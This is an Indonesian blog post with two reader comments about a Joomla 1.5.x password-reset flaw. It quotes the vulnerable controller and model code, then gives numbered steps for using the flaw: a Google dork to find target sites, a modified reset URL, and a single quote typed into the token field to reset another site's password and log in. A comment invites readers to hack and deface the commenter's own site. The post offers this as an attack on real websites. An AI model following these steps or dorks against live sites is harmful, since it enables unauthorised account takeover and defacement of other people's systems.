07.22 | Posted in :

Salah satu celah keamanan pada Joomla CMS adalah pada file controller.php dan reset.php

#######################################################
Line : 379-399

function confirmreset()
{
// Check for request forgeries
JRequest::checkToken() or die( 'Invalid Token' );

// Get the input
$token = JRequest::getVar('token', null, 'post', 'alnum'); {1}

// Get the model
$model = &$this->getModel('Reset');

// Verify the token
if ($model->confirmReset($token) === false) {2}
{
$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
return false;
}

$this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
}


#######################################################

File : /components/com_user/models/reset.php

Line: 111-130



function confirmReset($token)
{
global $mainframe;

$db = &JFactory::getDBO();
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation =
'.$db->Quote($token)); {3}

// Verify the token
if (!($id = $db->loadResult()))
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.'token', $token);
$mainframe->setUserState($this->_namespace.'id', $id);

return true;
}
#######################################################

masukan karakter (') pada tanda {1}
jika ditekan enter, maka query yang dihasilkan adalah :
"SELECT id FROM jos_users WHERE block = 0 AND activation = '' " tanda {3}

Implementasi Kelemahan tersebut adalah sebagai berikut :
1. cari target pada google dengan mengetikan "inurl:index.php?option=com_user"
2. setelah mendapatkan target, maka ganti "index.php?option=com_user" menjadi "option=com_user&view=reset&layout=confirm"
Contoh : http://www.target.com/index.php?option=com_user menjadi http://www.target.com/index.php?option=com_user&view=reset&layout=confirm
3. masukan karakter (') pada kolom token (tanpa tanda kurung)
4. jika berhasil maka anda di suruh mereset password pada web target tersebut
5. setelah itu anda login menggunakan password tersebut.....untuk user id-nya,,,,,cari ndiri y....... :)

Kategori:
��

Comments

2 responses to "Celah Keamanan Joomla 1.5.X"

  1. Anonim On 27 Juni 2009 pukul 02.53

    kasih contohnya biar jelas, bagaimana coba kalau ada touring nmbernya???

     
  2. andriyansyah On 10 Desember 2011 pukul 17.40

    uda kga bisa gan.. itu cuma buat para joomler yang males updet.. coba hack yang ane http://afsi.host.org
    ni website ude ane hack sendiri.. tapi kaga bisa.. ada yang laen selain cara idatas silahkan hack atas izin saya.. kalo bisa ganti aja halamannya jdi hacked.. haha